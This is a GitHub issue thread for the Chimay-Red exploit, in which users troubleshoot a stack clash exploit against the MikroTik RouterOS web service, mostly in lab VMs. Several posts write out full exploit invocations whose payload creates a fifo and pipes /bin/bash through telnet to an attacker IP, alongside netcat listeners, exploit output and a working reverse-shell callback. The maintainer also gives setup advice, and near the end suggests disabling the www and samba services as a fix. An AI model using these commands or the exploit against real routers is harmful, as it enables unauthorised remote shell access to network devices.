Cannot get shell -> Miktotik 6.37.5 #25

N0ur5 · 2018-02-26T21:32:51Z

Hello,

I am new to GitHub with minimal development/"programming" experience, so my apologies if this is not the correct approach to getting help with this.

I can't seem to get a meterpreter shell or get a callback to netcat(nc), using the notes you provided with this exploit/POC.

I downloaded and installed the firmware for Mikrotik 6.37.5 onto a virtual machine. I have ensured port 80 is open on the device. I am also running Kali on another virtual machine. The devices can ping each other.

I have tried mips and x86 exploits and although the results in the terminal tell me that the exploit was complete, and payload delivered, I do not get a callback to either metasploit handler or netcat. I have tried both python 2.7 as well as 3.6. When I use TCPdump from Kali to get some additional information when running the exploit, I see my machine reach out to the Mikrotik and at one point a HTTP 200 OK message. So I know the initial conversation between the machines opens up. Not long after the payload is sent I see two responses from the Mikrotik. One is a HTTP 400 bad request, and the other is HTTP 500 internal server error.

I seem to be stuck. Is there any guidance or advice you can provide? Is this version perhaps not vulnerable dispite the release notes saying versions up to 3.38.4 are vulnerable? Or maybe I'm doing something wrong? I can provide more information if needed as well. I just would appreciate help as I love researching things in the cybersecurity, pentesting, and hacking.

Thank you very much for your time,
N0ur5

BigNerd95 · 2018-02-27T19:22:00Z

If you are testing RouterOS in a VM then you have to use the x86 version only.
The x86 exploit is made using pwntools, so you have to use python2, not python3.
I advice to run my scripts ./StackClash.py and not python2 StackClash.py, because they have the shebang in the first line, so the correct version of python is automatically launched.
Are you able to see the web page (webfig) from the kali vm?
Did you extract the right version of www?

N0ur5 · 2018-02-27T21:16:59Z

Thank you for the reply, I was trying both MIPS and x86 before. Now I am just trying the x86 as per your guidance. I also am running it by just calling the script rather than specifying a version of python. I am able to see webfig from Kali in Firefox. I did extract the correct www using ./getROSbin.py 6.37.5 x86 /nova/bin/www www_binary.

On one shell in Kali I ran nc -l -p 4444

On the other shell on Kali I ran ./StackClash_x86.py {Mikrotik IP} 80 www_binary "/bin/mknod /ram/f p; /bin/telnet {Kali IP} 4444 < /ram/f | /bin/bash > /ram/f 2>&1"

BigNerd95 · 2018-02-27T21:27:25Z

If you use '/nova/bin/info "/system reboot" ' as StackClash command
Does the router reboot?

N0ur5 · 2018-02-28T17:01:38Z

I tried ./StackClash_x86.py {Mikrotik IP} 80 www_binary "nova/bin/info '/system reboot'" and the router did not reboot sadly.

BigNerd95 · 2018-02-28T17:29:37Z

So you have to root your vm and debug it
Sorry but i have not enough time to test all versions for anyone

N0ur5 · 2018-02-28T17:40:14Z

I completely understand. Thank you for your time BigNerd95.

BigNerd95 · 2018-02-28T18:05:49Z

Thank you for understanding
If you are able to fix it then send a pull request ;)

N0ur5 · 2018-02-28T18:11:09Z

Sounds like a plan 👍 :)

BigNerd95 · 2018-03-02T00:38:16Z

https://github.com/BigNerd95/Chimay-Red/blob/master/README.md

beeterman · 2018-03-03T08:52:24Z

do will work with /getROSbin.py 5.21 x86 /nova/bin/www www_binary

5.21 x86 or only version 6.x

BigNerd95 · 2018-03-03T08:55:45Z

I didn't test version 5.x
Another researcher told me that version 5.x is not multithreaded
So it shouldn't work

beeterman · 2018-03-03T09:55:47Z

still have problem in kali 64
./StackClash_mips.py mikrotik ip 80 www_binary "/bin/mknod /ram/f p; /bin/telnet kali ip 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Traceback (most recent call last):
File "./StackClash_mips.py", line 14, in
from ropper import RopperService
ModuleNotFoundError: No module named 'ropper'
I created today new issue but do not find in

please can help me
how sole ropper

BigNerd95 · 2018-03-03T10:05:59Z

Google it

N0ur5 · 2018-03-03T10:46:41Z

@beeterman you need to download the ropper module from GitHub and extract it to folder with stackclash script. This is the easiest way at least.

BigNerd95 · 2018-03-03T10:59:39Z

pip3 install ropper ...

N0ur5 · 2018-03-03T14:25:47Z

Yes or that haha.

BigNerd95 · 2018-03-03T17:06:57Z

https://github.com/BigNerd95/Chimay-Red/blob/master/README.md#working-exploits

beeterman · 2018-03-03T21:40:59Z

finally
./getROSbin.py 6.37.3 mipsbe /nova/bin/www www_binary
Downloading firmware...
Extracting /nova/bin/www
/nova/bin/www saved as www_binary

and run
nc -l -p 4444

./StackClash_mips.py mikrotik ip 80 www_binary "/bin/mknod /ram/f p; /bin/telnet kali ip 4444 < /ram/f | /bin/bash > /ram/f 2>&1"
Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Error sending data

what problem err sending ?

BigNerd95 · 2018-03-04T18:18:12Z

Mmmm
Does it always crash in this manner?

BigNerd95 · 2018-03-10T13:01:05Z

@N0ur5 I tried 6.37.2 and 6.37.3 and it is working.
I tested 6.37.5 and it is NOT working..
Maybe 6.37.5 is not working because it is a bugfix version (maybe there is something different in the code)
I'll investigate

R-ealitY · 2018-03-10T22:38:50Z

@BigNerd95 really, with version 6.37.5 (x86) not working

BigNerd95 · 2018-03-10T23:58:02Z

I know

BigNerd95 · 2018-03-10T23:58:37Z

Maybe it isnt working on all other bugfix versions too

halekan · 2018-03-11T04:42:32Z

@BigNerd95
if something different in the code with version 6.37.3
do will try fix it in next release of chimay red to make it working

0x0kasaku · 2018-03-18T09:20:24Z

I tried 6.38.4 X86 which is installed on VM.

On one shell
root@kali:~/Desktop/Chimay-Red-master# ./StackClash_x86.py 192.168.100.105 80 www_binary-6.38.4-x86 "/bin/mknod /ram/f p; /bin/telnet 192.168.100.100 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
Building ROP chain...
[+] Binary loaded
[+] Loading gadgets, please wait...
[+] Gadgets loaded !
The ROP chain is 1952 bytes long (32768 bytes available)
Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Sent
Starting exploit
Done!

On another shell I ran
root@kali:~# nc -l -p 1234
/bin/bash: Trying: not found
/bin/bash: Connected: not found
/bin/bash: Escape: not found

what's wrong?

BigNerd95 · 2018-03-18T10:17:37Z

Nothing
It is working
Write "echo *" or "pwd"

BigNerd95 · 2018-03-18T10:19:16Z

In the shell where you see

/bin/bash: Trying: not found
/bin/bash: Connected: not found
/bin/bash: Escape: not found

0x0kasaku · 2018-03-19T01:48:13Z

Thank you!!

0x0kasaku · 2018-03-19T08:37:28Z

If i don't want to update my Router iso, there is anyway to fix the bug??

BigNerd95 · 2018-03-19T08:54:58Z

Disable www service
And samba too
https://github.com/BigNerd95/Chimay-Blue

0x0kasaku · 2018-03-19T12:16:13Z

root@kali:~/Desktop/Chimay-Red-master/tools# python3 getROSbin.py 5.26 mipsbe /nova/bin/www www_5.26-mipsbe
Downloading firmware...
Extracting /nova/bin/www
The file supplied is not a squashfs 4.0 image

Is there any way to get www binary from RouterOS 5.26 both x86 and mipsbe ?

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Cannot get shell -> Miktotik 6.37.5 #25

Cannot get shell -> Miktotik 6.37.5 #25

N0ur5 commented Feb 26, 2018 •

edited

Loading

BigNerd95 commented Feb 27, 2018

N0ur5 commented Feb 27, 2018

BigNerd95 commented Feb 27, 2018 •

edited

Loading

N0ur5 commented Feb 28, 2018

BigNerd95 commented Feb 28, 2018

N0ur5 commented Feb 28, 2018

BigNerd95 commented Feb 28, 2018

N0ur5 commented Feb 28, 2018

BigNerd95 commented Mar 2, 2018

beeterman commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

beeterman commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

N0ur5 commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

N0ur5 commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

beeterman commented Mar 3, 2018 •

edited

Loading

BigNerd95 commented Mar 4, 2018

BigNerd95 commented Mar 10, 2018

R-ealitY commented Mar 10, 2018

BigNerd95 commented Mar 10, 2018

BigNerd95 commented Mar 10, 2018

halekan commented Mar 11, 2018

0x0kasaku commented Mar 18, 2018

BigNerd95 commented Mar 18, 2018

BigNerd95 commented Mar 18, 2018

0x0kasaku commented Mar 19, 2018

0x0kasaku commented Mar 19, 2018

BigNerd95 commented Mar 19, 2018

0x0kasaku commented Mar 19, 2018

Cannot get shell -> Miktotik 6.37.5 #25

Cannot get shell -> Miktotik 6.37.5 #25

Comments

N0ur5 commented Feb 26, 2018 • edited Loading

BigNerd95 commented Feb 27, 2018

N0ur5 commented Feb 27, 2018

BigNerd95 commented Feb 27, 2018 • edited Loading

N0ur5 commented Feb 28, 2018

BigNerd95 commented Feb 28, 2018

N0ur5 commented Feb 28, 2018

BigNerd95 commented Feb 28, 2018

N0ur5 commented Feb 28, 2018

BigNerd95 commented Mar 2, 2018

beeterman commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

beeterman commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

N0ur5 commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

N0ur5 commented Mar 3, 2018

BigNerd95 commented Mar 3, 2018

beeterman commented Mar 3, 2018 • edited Loading

BigNerd95 commented Mar 4, 2018

BigNerd95 commented Mar 10, 2018

R-ealitY commented Mar 10, 2018

BigNerd95 commented Mar 10, 2018

BigNerd95 commented Mar 10, 2018

halekan commented Mar 11, 2018

0x0kasaku commented Mar 18, 2018

BigNerd95 commented Mar 18, 2018

BigNerd95 commented Mar 18, 2018

0x0kasaku commented Mar 19, 2018

0x0kasaku commented Mar 19, 2018

BigNerd95 commented Mar 19, 2018

0x0kasaku commented Mar 19, 2018

N0ur5 commented Feb 26, 2018 •

edited

Loading

BigNerd95 commented Feb 27, 2018 •

edited

Loading

beeterman commented Mar 3, 2018 •

edited

Loading